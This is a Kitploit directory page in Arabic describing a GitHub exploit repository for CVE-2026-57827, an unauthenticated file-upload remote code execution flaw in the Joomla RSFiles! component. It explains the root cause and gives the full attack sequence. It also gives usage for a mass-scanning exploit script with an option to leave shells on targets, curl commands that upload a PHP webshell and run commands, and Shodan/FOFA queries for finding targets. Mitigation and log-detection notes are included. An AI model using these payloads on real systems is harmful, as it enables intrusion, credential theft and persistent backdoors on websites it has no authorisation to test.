Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-57827 — CVE-2026-57827 — مكوّن RSFiles! لـ Joomla: ثغرة رفع ملفات دون مصادقة تؤدي إلى تنفيذ أوامر عن بُعد. تجاوز رفع عبر وحدة تحكم مجزأة. CVSS 9.8 | CWE-434 | com_rsfiles < 1.17.12 | Kitploit
أدوات/GitHubGitHub/shinthink/cve-2026-57827
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتأمن الويباختبار الاختراقالفريق الأحمرأداة الوصول عن بعدتطوير الحمولات
GitHubshinthink/cve-2026-57827

CVE-2026-57827

CVE-2026-57827 — مكوّن RSFiles! لـ Joomla: ثغرة رفع ملفات دون مصادقة تؤدي إلى تنفيذ أوامر عن بُعد. تجاوز رفع عبر وحدة تحكم مجزأة. CVSS 9.8 | CWE-434 | com_rsfiles < 1.17.12

152منذ 22 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

CVE-2026-57827 — مكوّن RSFiles! لـ Joomla: ثغرة رفع ملفات بدون مصادقة تؤدي إلى RCE

تجاوز الرفع عبر وحدة التحكم المجزأة → استدعاء مهمة الكتابة مباشرةً → /downloads/shell.php → RCE


نظرة عامة

CVE-2026-57827 هي ثغرة رفع ملفات عشوائي غير مصادَق عليها بخطورة حرجة (CVSS 9.8) في RSFiles! (com_rsfiles)، وهو مكوّن إدارة ملفات وتنزيلات شائع الاستخدام في Joomla، وتؤثر في الإصدارات < 1.17.12.

تستغل الثغرة خللاً في تصميم وحدة التحكم المجزأة: يفصل RSFiles! عملية الرفع إلى مهمتين في الواجهة الأمامية — فحص أولي (بوابة صلاحيات + قائمة امتدادات مسموحة) وطريقة كتابة (تحفظ الملف على القرص). يمكن استدعاء طريقة الكتابة مباشرةً، متجاوزةً الفحص الأولي بالكامل. لا حاجة إلى أي مصادقة أو رمز CSRF.

الإصدارات المتأثرة

الإصدارالحالة
< 1.17.12قابل للاستغلال
1.17.12+تم التصحيح

اكتُشفت بواسطة: Phil Taylor، mySites.guru (10 يوليو 2026) المطوّر: RSJoomla (rsjoomla.com) المكوّن: com_rsfiles


آلية الثغرة

السبب الجذري

يقسّم RSFiles! عملية الرفع عبر مهمتين منفصلتين في الواجهة الأمامية داخل /components/com_rsfiles/controllers/rsfiles.php:

root@kitploit:~
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
    if (!$user->authorise('rsfiles.upload')) return false;
    $allowed = ['jpg','png','gif','txt','pdf'];
    if (!in_array($ext, $allowed)) return false;
    return true;
}

// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
    $file = $input->files->get('file');
    // No permission check
    // No extension check
    // JFile::upload() accepts anything by default
    JFile::upload($file['tmp_name'], $dest . $file['name']);
    // File saved to /downloads/ (web root, .htaccess OFF by default)
}

لماذا ينجح الاستغلال؟

  1. وحدة تحكم مجزأة — توجد فحوصات الأمان وكتابة الملف في طريقتين مختلفتين. الفحص الأولي فقط هو المحمي.
  2. وصول مباشر إلى المهمة — تتيح وحدة تحكم Joomla في الواجهة الأمامية استدعاء أي مهمة مباشرةً عبر &task=rsfiles.upload، متجاوزةً الفحص الأولي بالكامل.
  3. لا مصادقة — لا تجري وحدة تحكم الواجهة الأمامية أي فحص وصول. يمكن للزوار المجهولين استدعاء مهمة الكتابة.
  4. لا رمز CSRF — لا يحتوي نموذج الرفع في الواجهة الأمامية على رمز CSRF على مستوى الموقع.
  5. لا تحقق من نوع الملف — تقرأ طريقة الكتابة اسم الملف من الطلب وتمرّره إلى معالج الرفع المدمج في Joomla (JFile::upload())، الذي يقبل أي نوع ملفات افتراضيًا.
  6. مجلد التنزيلات في جذر الويب — يقع مجلد التنزيلات الافتراضي في RSFiles! داخل جذر الويب. ملف .htaccess الوقائي الذي يمنع تنفيذ PHP هناك هو إعداد إداري اختياري التفعيل ويكون معطَّلاً افتراضيًا.

تسلسل الهجوم

root@kitploit:~
1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
   file=<shell.php> (multipart, PHP payload)
   folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
   → Skips rsfiles.checkupload (pre-flight) entirely
   → No permission check → No CSRF token check → No file-type check
   → JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
   .htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data

مراجع الكود المصدري المُتحقَّق منها

رصد سجلات الخادم (من نشرة RSJoomla الأمنية)

ابحث عن طلبات POST الموجهة إلى:

root@kitploit:~
Look for POST requests to:
  index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
  index.php?option=com_rsfiles&task=rsfiles.checkupload

الخلل التصميمي الرئيسي

فحوصات الأمان (بوابة الصلاحيات + قائمة الامتدادات المسموحة) هي خطوة أولية منفصلة عن الطريقة التي تكتب الملف فعليًا. الأولى فقط تحتوي على الفحوصات. أما الثانية — التي تكتب على القرص — فيمكن استدعاؤها مباشرةً بصياغة معامل task المناسب في الرابط، متجاوزةً بذلك جميع ضوابط الأمان.

هذا مثال نموذجي على النمط المضاد «الفحوصات والإجراءات في أماكن مختلفة»: الحارس والعملية التي يُفترض أن يحميها منفصلان، ويستطيع المهاجم الوصول إلى العملية دون المرور عبر الحارس.


التثبيت

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-57827.git
cd CVE-2026-57827
pip install requests

الاستخدام

root@kitploit:~
# Single target
python cve_2026_57827.py -t target.com

# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt

# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup

الوسائط

root@kitploit:~
  -t, --target       Single target (domain or IP)
  -f, --file         Target list, one per line
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)
  --no-cleanup       Leave shells on target
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

إثبات المفهوم

هدف واحد

root@kitploit:~
$ python cve_2026_57827.py -t joomla-site.com
root@kitploit:~
  RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8

  Host       : joomla-site.com
  RSFiles!   : YES v1.17.11
  Upload     : YES
  RCE        : YES
  Shell      : https://joomla-site.com/components/com_rsfiles/downloads/.a1b2c3.php?t=token
  Output     : uid=33(www-data) gid=33(www-data) groups=33(www-data)
  Time       : 3.8s

الاستغلال اليدوي

الخطوة 1 — رفع الصدفة

root@kitploit:~
curl -X POST 'https://target.com/index.php?option=com_rsfiles&task=rsfiles.upload' \
  -F '[email protected]' \
  -F 'folder=' \
  -F 'overwrite=1'

الخطوة 2 — الوصول إلى الصدفة

root@kitploit:~
curl 'https://target.com/downloads/shell.php?c=id'

الخطوة 3 — تنفيذ الأوامر

root@kitploit:~
curl 'https://target.com/downloads/shell.php?c=id;hostname;uname -a'

التخفيف (إن لم يكن التحديث ممكنًا)

root@kitploit:~
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php

# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"

FOFA / Shodan

root@kitploit:~
FOFA:   body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"

التأثير

يحقق الاستغلال الناجح تنفيذ تعليمات برمجية عن بُعد بصلاحيات مستخدم خادم الويب:

  • استخراج configuration.php → بيانات اعتماد قاعدة البيانات وأسرار SMTP
  • الوصول إلى جميع محتويات Joomla والمستخدمين وبيانات الإضافات
  • نشر أبواب خلفية دائمة
  • التوغّل في الشبكات الداخلية
  • تشويه الموقع أو حقن برمجيات خبيثة

لا يلزم وجود حساب على الموقع في أي خطوة. مجهول الهوية، بدون مصادقة، وعن بُعد.


الإصلاح (1.17.12)

أصلحت RSJoomla الثغرة في الإصدار 1.17.12 عبر:

  • إضافة فحص صلاحيات إلى طريقة الكتابة نفسها (وليس إلى الفحص الأولي فقط)
  • إضافة التحقق من نوع الملف إلى طريقة الكتابة
  • فرض رمز CSRF على نقطة نهاية الرفع في الواجهة الأمامية
  • جعل حماية .htaccess في مجلد التنزيلات مفعَّلة افتراضيًا

إخلاء مسؤولية

لأغراض التعليم والاختبار المصرَّح به فقط.

لا تستخدمه ضد أي نظام دون إذن صريح من مالكه. لا يتحمّل المؤلفون أي مسؤولية عن سوء الاستخدام.


المراجع


غير تابع لـ RSJoomla أو mySites.guru.

تنزيل الأداة
الملفالغرض
/components/com_rsfiles/controllers/rsfiles.phpوحدة التحكم التي تحتوي على المهمتين القابلتين للاستغلال upload() وcheckupload()
/components/com_rsfiles/views/upload/tmpl/upload.phpقالب نموذج الرفع في الواجهة الأمامية (مؤكد: name="file"، task=rsfiles.upload)
/downloads/مجلد التنزيلات الافتراضي في جذر الويب (حماية .htaccess معطَّلة افتراضيًا)
/briefcase/مجلد الحقيبة (قابل للكتابة أيضًا)
الموردالرابط
سجل NVDCVE-2026-57827
نشرة mySites.guru الأمنيةmysites.guru/blog/rsfiles-unauthenticated-file-upload-rce
نشرة RSJoomla الأمنيةrsjoomla.com
CWE-434الرفع غير المقيّد لملف من نوع خطير
المُبلِّغPhil Taylor، mySites.guru